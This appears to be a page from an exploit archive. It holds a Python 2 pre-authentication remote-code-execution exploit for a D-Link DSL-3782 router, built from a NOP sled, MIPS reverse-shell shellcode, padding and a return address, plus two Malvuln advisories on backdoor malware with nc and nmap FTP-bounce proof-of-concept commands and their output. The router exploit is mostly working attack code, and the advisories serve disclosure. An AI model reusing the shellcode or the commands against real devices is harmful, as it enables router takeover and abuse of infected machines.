<pre><code>#!/usr/bin/python2<br /># preauth rece for dlink dsl-3782<br /># found: 06.11.2021<br /># pwned: 18.112021 @ 19:26<br /># <br /><br /><br />import sys<br />import urllib2 # requests<br />import urllib<br />import struct<br /><br />target = 'http://192.168.0.50/index.php' # cgi-bin/ChgLang.asp'<br /><br /><br /><br /><br />nopsled = ""<br /># NOP sled (XOR $t0, $t0, $t0; as NOP is only null bytes)<br />for i in range(74):<br /> nopsled += "\x41\x41\x41\x41" # 26\x40\x08\x01"<br /><br /><br />#print("nopsled len: %s" % len(nopsled))<br />#print(len(nopsled))<br /><br /><br /># shellcode; revshell: 272-232=?:<br />buf = b""<br />buf += b"\x27\xbd\xff\xe0\x24\x0e\xff\xfd\x01\xc0\x20\x27\x01"<br />buf += b"\xc0\x28\x27\x28\x06\xff\xff\x24\x02\x10\x57\x01\x01"<br />buf += b"\x01\x0c\x30\x50\xff\xff\x24\x0e\xff\xef\x01\xc0\x70"<br />buf += b"\x27\x24\x0d\xff\xfd\x01\xa0\x68\x27\x01\xcd\x68\x04"<br />buf += b"\x24\x0e\x27\x0f\x01\xae\x68\x25\xaf\xad\xff\xe0\xaf"<br />buf += b"\xa0\xff\xe4\xaf\xa0\xff\xe8\xaf\xa0\xff\xec\x02\x10"<br />buf += b"\x20\x25\x24\x0e\xff\xef\x01\xc0\x30\x27\x23\xa5\xff"<br />buf += b"\xe0\x24\x02\x10\x49\x01\x01\x01\x0c\x02\x10\x20\x25"<br />buf += b"\x24\x05\x01\x01\x24\x02\x10\x4e\x01\x01\x01\x0c\x02"<br />buf += b"\x10\x20\x25\x28\x05\xff\xff\x28\x06\xff\xff\x24\x02"<br />buf += b"\x10\x48\x01\x01\x01\x0c\xaf\xa2\xff\xff\x24\x11\xff"<br />buf += b"\xfd\x02\x20\x88\x27\x8f\xa4\xff\xff\x02\x20\x28\x21"<br />buf += b"\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24\x10\xff\xff\x22"<br />buf += b"\x31\xff\xff\x16\x30\xff\xfa\x28\x06\xff\xff\x3c\x0f"<br />buf += b"\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e"<br />buf += b"\x2f\x35\xce\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4"<br />buf += b"\x27\xa4\xff\xec\xaf\xa4\xff\xf8\xaf\xa0\xff\xfc\x27"<br />buf += b"\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01\x0c"<br /><br /><br />shellcode = buf<br /><br /><br />#shellcode = ( "D" * 276 )<br /><br /><br /><br /><br /><br />ret = struct.pack(">I", 0x7fff45b0) # ;] 0x7fff4528) # 0x2abccbb0) # system(); 0x2b269fcc) # SELECT... x2accefcc) # 0x123456) # 0x42424242) <br />junk = "A" * 68 # 136 # 264 # (596 - len(shellcode) - len(ret)) # - len(nopsled))<br /><br /><br /><br /><br />###############<br />#payload = junk + shellcode + ret<br />payload = nopsled + shellcode + junk + ret <br /><br />#print(len(payload))<br />print(payload)<br /><br />data = urllib.urlencode({'lang' : payload })<br /><br />sendme = urllib2.Request(target, data ) # url=target, data=post_me)<br /><br />#print(sendme)<br /><br />#print "DONE"<br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /></code></pre>
<pre><code>Discovery / credits: Malvuln - malvuln.com (c) 2022<br />Original source: https://malvuln.com/advisory/36ca28db068b6f6634d633fe61d34a7d.txt<br />Contact: malvuln13@gmail.com<br />Media: twitter.com/malvuln<br /><br />Threat: Backdoor.Win32.Small.bu (KGB- RAT server v0.1)<br />Vulnerability: Unauthenticated Remote Command Execution<br />Description: The KGB- RAT malware listens on TCP port 1973. Third-party attackers who can reach infected systems can run commands made available by the backdoor, or run the "view" command to passively read screendump information. The malware writes its screendump info to a file named "log.log".<br /><br />E.g. commands<br /><br />rebt (reboot)<br />stoptb (shutdown the backdoor)<br />view (log.log)<br /><br />Type: PE32<br />MD5: 36ca28db068b6f6634d633fe61d34a7d<br />Vuln ID: MVID-2022-0479<br />Disclosure: 02/01/2022<br /><br />Exploit/PoC:<br />nc64.exe x.x.x.x 1973<br />Connected to: -KGB- Remote Administration Tool server v0.1<br />view log.log<br /><br />< LocalData: 31/1/2022 LocalTime: 21.35.37 User: Victim ><br />< Window title: pestudio 8.74 - Malware Initial Assessment - www.winitor.com ><br /><br />< LocalData: 31/1/2022 LocalTime: 21.38.44 User: Victim ><br />< Window title: dump ><br /><br />rebt<br /><br />Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).<br /></code></pre>
<pre><code>Discovery / credits: Malvuln - malvuln.com (c) 2021<br />Original source: https://malvuln.com/advisory/4d10cd3fa86239ade05d2b741892b1e5_B.txt<br />Contact: malvuln13@gmail.com<br />Media: twitter.com/malvuln<br /><br />Threat: Backdoor.Win32.Coredoor.10.a<br />Vulnerability: Port Bounce Scan<br />Description: The malware listens on TCP port 21000. Third-party attackers who successfully logon can abuse the backdoor FTP server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you.<br />Type: PE32<br />MD5: 4d10cd3fa86239ade05d2b741892b1e5<br />Vuln ID: MVID-2021-0411<br />Dropped files: CFS.exe<br />Disclosure: 11/25/2021<br /><br /><br />Exploit/PoC:<br />nmap -n -Pn -b malvuln:malvuln@192.168.18.125:21000 -p21,22,80 192.168.18.237 -v<br />Starting Nmap 7.80 ( https://nmap.org ) at 2021-11-24 22:18 Pacific Standard Time<br />Resolved FTP bounce attack proxy to 192.168.18.125 (192.168.18.125).<br />Attempting connection to ftp://malvuln:malvuln@192.168.18.125:21000<br />Connected:220 c400s FTP Server read...<br />Login credentials accepted by FTP server!<br />Initiating Bounce Scan at 22:18<br />Discovered open port 80/tcp on 192.168.18.237<br />Completed Bounce Scan at 22:18, 2.16s elapsed (3 total ports)<br />Nmap scan report for 192.168.18.237<br />Host is up.<br /><br />PORT STATE SERVICE<br />21/tcp closed ftp<br />22/tcp closed ssh<br />80/tcp open http<br /><br />Read data files from: C:\Program Files (x86)\Nmap<br />Nmap done: 1 IP address (1 host up) scanned in 11.30 seconds<br /><br /><br />Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).<br /></code></pre>
Archives
Categories
- All Exploits 4087
- Remote Code Execution
- SQL Injection
- Command Injection
- Local File Inclusion
- Cross Site Scripting
- Privilege Escalation
- Denial Of Service
- Authentication Bypass
- Buffer Overflow